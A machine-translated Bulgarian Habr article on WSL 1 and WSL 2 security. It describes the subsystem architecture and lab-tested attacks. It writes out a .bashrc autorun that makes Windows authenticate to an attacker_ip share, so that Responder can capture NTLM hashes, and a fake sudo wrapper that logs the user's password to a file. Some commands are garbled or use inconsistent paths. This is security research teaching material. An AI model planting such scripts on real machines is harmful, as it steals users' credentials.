WSL експерименти. Част 1

Здравей, habr! OTUS стартира нов курс през октомври „Сигурност на Linux“. В очакване на началото на курса, споделяме с вас статия, написана от един от нашите преподаватели Александър Колесников.

През 2016 г. Microsoft представи новата WSL технология на ИТ общността (Windows Sподсистема за Linux), което в бъдеще направи възможно обединяването на предишни непримирими конкуренти, които се бореха за популярност както сред обикновените, така и сред напредналите потребители на ОС: Windows и Linux. Тази технология направи възможно използването на инструменти на Linux OS в среда на Windows, без да е необходимо да стартирате Linux, например чрез Multi-boot. На Habr можете да намерите голям брой статии, описващи ползите от използването на WSL. Въпреки това, за съжаление, по време на създаването на тази статия на този ресурс не бяха открити проучвания за сигурността на такава симбиоза от операционни системи. Тази публикация ще бъде опит да се коригира това. Статията ще говори за характеристиките на архитектурите WSL 1 и 2 и ще разгледа няколко примера за атаки срещу системи, използващи тези технологии. Статията е разделена на 2 части. Първият ще предостави основните теоретични методи за атака от Linux и Windows. Втората статия ще включва настройка на тестова среда и възпроизвеждане на атаките.

WSL 1: архитектурни характеристики

За най-точното гмуркане в проблемите на сигурността на WSL е необходимо да се определят основните нюанси, свързани с внедряването на подсистемата. Една от основните потребителски задачи, решавани от WSL, е възможността за работа през Linux терминал на хост, работещ с Windows OS. Освен това предлаганата съвместимост беше толкова естествена, че изпълнимите файлове на Linux (ELF) можеха да се изпълняват директно на Windows система. За постигането на тези цели в Windows 10 беше създадена специална подсистема, която ви позволява да стартирате Linux приложения, използвайки набор от специфични системни извиквания - по този начин беше направен опит да се картографира набор от системни извиквания на Linux в Windows. Това беше физически реализирано чрез добавяне на нови драйвери и нов формат на процеса. Визуално архитектурата изглеждаше така:

Всъщност взаимодействието с операционната система Linux беше организирано чрез няколко модула на ядрото и специален тип процес - pico. От диаграмата по-горе можете да видите, че процесът, изпълняван на екземпляра на Linux на хоста, трябва да е естествен и трябва да използва същите ресурси като обикновените приложения на Windows. Но как да постигнем това? В проект Подвижен мост Разработени са концепции за процеси за Windows, които осигуряват всички необходими компоненти на операционната система (в зависимост от нейната версия) за стартиране на приложение на друга операционна система.

Обърнете внимание, че предложената абстракция направи възможно да не се фокусира върху операционната система (по-специално Windows), в която се очаква да стартира процесът на друга операционна система, и предложи общ подход.

По този начин всяко приложение в pico процеса може да работи без оглед на ядрото на Windows:

1. Проблемите със съвместимостта и превода на системните повиквания трябва да се решават от специални доставчици;
2. Контролът на достъпа трябва да се извършва през Security Monitor. Мониторът се намира в ядрото и следователно Windows се нуждаеше от надграждане под формата на нов драйвер, който може да действа като доставчик за такива процеси. Прототипът на pico процес е представен схематично по-долу:

Тъй като файловата система на Linux използва имена на файлове и директории, чувствителни към малки и главни букви, 2 вида файлови системи бяха добавени към Windows за работа с WSL - VolFS и DriveFS. VolFS е имплементация на файловата система Linux, DriveFS е файлова система, която работи според правилата на Windows, но има възможност за избор на чувствителност към главни и малки букви.

WSL 2

WSL 1 имаше редица ограничения, които не му позволиха да се използва за решаване на максимален набор от задачи: например, той нямаше възможност да изпълнява 32-битови Linux приложения и беше невъзможно да се използват драйвери на устройства. Затова през 2020 г. беше пуснат WSL 2, който промени подхода за изграждане на подсистемата. WSL 2 е оптимизирана виртуална машина, която отговаря на характеристиките за потребление на ресурси на WSL 1. Сега, в зависимост от проблемите, решени от потребителя на Windows OS, можете да изберете необходимата версия на подсистемата Linux. За да смекчи възможните уязвимости, WSL 2 беше внедрен на базата на Hyper-V в Windows 10. В тази форма Windows има способността да изпълнява ядрото на операционната система Linux изолирано. Струва си да припомним, че версия 1 на WSL беше въведена като бета функция, която трябваше да покаже посоката на развитие на Windows в тази област, така че преходът към Hyper-V беше неизбежен. Крайната архитектура изглежда така:

В тази версия ядрата на Windows и Linux имат свои собствени ресурси и пресичането съществува само във файловата система, но това пресичане не е пълно. Взаимодействието между файловите системи се осъществява чрез обвивка клиент-сървър, която работи с помощта на протокола 9P.

Днес Microsoft предоставя възможност за превключване между WSL 1 и WSL 2. И двете версии са налични за използване.

WSL сигурност

В момента има няколко работи, описващи някои подходи за използване на легитимни OS инструменти за атака на комуникацията между подсистемите. Ще използваме техните скриптове, за да проверим уместността на атаките към момента на писане. Общ списък на атаки и сценарии:

1. Внедряване на файлова система: права за достъп, наличие на споделени директории/механизми за обмен на данни.

Проведени са изследвания за установяване на нарушения на правилата за достъп от Linux FS->Windows FS, Windows FS->Linux FS. Изследванията демонстрират възможността за модифициране на даден файл в целевата операционна система. Правени са и опити за подмяна, създаване на дубликати и изтриване на част от файловите системи.

скрипт:

• А. Атака от операционна система Windows - модификация на файлове от директорията /etc на ОС Linux.
• B. Атака от операционна система Linux - модификация на файлове в директории: C:Windows, C:Program Files, C:Users<User>

2. Реализация на мрежовия стек.

Изследването е проведено с примери за атаки от операционната система Linux върху Windows. Използвани са характеристиките на мрежовия стек, а именно механизми за удостоверяване на различни ресурси.

скрипт:

• Отваряне на достъп до порт, който е зает в Windows система
• Отваряне на порт без съответните права
• Изпълнение на обратна обвивка с помощта на elf файл на операционна система Windows.

3. Скриване на стартирането на злонамерени софтуерни процеси с помощта на подсистемата WSL.

Изследването се основава на прост факт - подсистемите за сигурност не могат да прихващат събития в друго ядро, което работи с легитимен доставчик от операционната система в случай на WSL 1. В случая на WSL 2 няма начин да се видят събития, които се случват в отделно ядро ​​в рамките на лека виртуална машина.

скрипт:

1) Стартирайте приложението за отдалечен достъп до системата и прегледайте регистрираните събития.

Експерименти с WSL 1: прихващане на хеш (Windows)

Най-накрая стигнахме до практическата част. Първо, трябва да настроите тестовата среда. Всички експерименти ще бъдат извършени на стенд с инсталиран Windows 10 2004. Изображението на Ubuntu 18.04 беше избрано като изображение на операционната система за WSL. Изображението е избрано на случаен принцип и всяко друго ще работи по същия начин. Команди за настройка на стойка:

Първо трябва да стартирате powershell.exe като администратор.

За WSL 1 трябва да изпълните командите:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

След като рестартирате стойката, можете да извикате командата bash. Ако всичко работи правилно, ще видите резултат, подобен на този в конзолата на Windows:

Ще използваме дистрибуцията на Kali Linux като машина на атакуващия; всички машини трябва да са в една и съща локална мрежа.

Да приемем, че имаме непривилегирован достъп до WSL на Windows машина. Нека се опитаме да атакуваме операционната система Linux, като извикаме команда от Linux. За да реализираме атаката, ще използваме проста техника за автоматично стартиране - ще добавим наш скрипт за изпълнение в Linux среда. За да направите това, трябва да промените файла .bashrc.

На машина с WSL ние изпълняваме:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

На машина с Kali Linux изпълняваме:

1. Responder -I eth0 -rdvw

На машина с Windows нека стартираме bash.

Очакваме резултата на Kali Linux машината:

Така получихме потребителските хешове на Windows чрез подсистемата WSL, като изпълнихме командата в системата Linux.

WSL 1 експерименти: получаване на потребителска парола (Linux OS)

Нека направим още един експеримент. По време на тази проверка ще добавим към файла .bashrc няколко команди, за да получите потребителската парола на операционната система Linux.

Нека стартираме bash и въведете командите:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

За да завърши успешно атаката, потребителят Sam трябва да извика sudo в терминала на Linux. След това потребителската парола на Linux OS ще бъде във файла pass.txt:

Изпълнението на атаките беше дадено само за теоретична информация.

Следващата част от статията ще опише внедряването на протокола 9P, ще разгледа създаването на скенер за този протокол и ще извърши атака с него.

Списък на използваната литература

• WSL 2 ИЗСЛЕДВАНЕ НА ЛОШИНАТА
• Подсистема Windows за документация за Linux

Прочетете още

• Как да изберем софтуер за корекция на ядрото на Linux в реално време

Източник: www.habr.com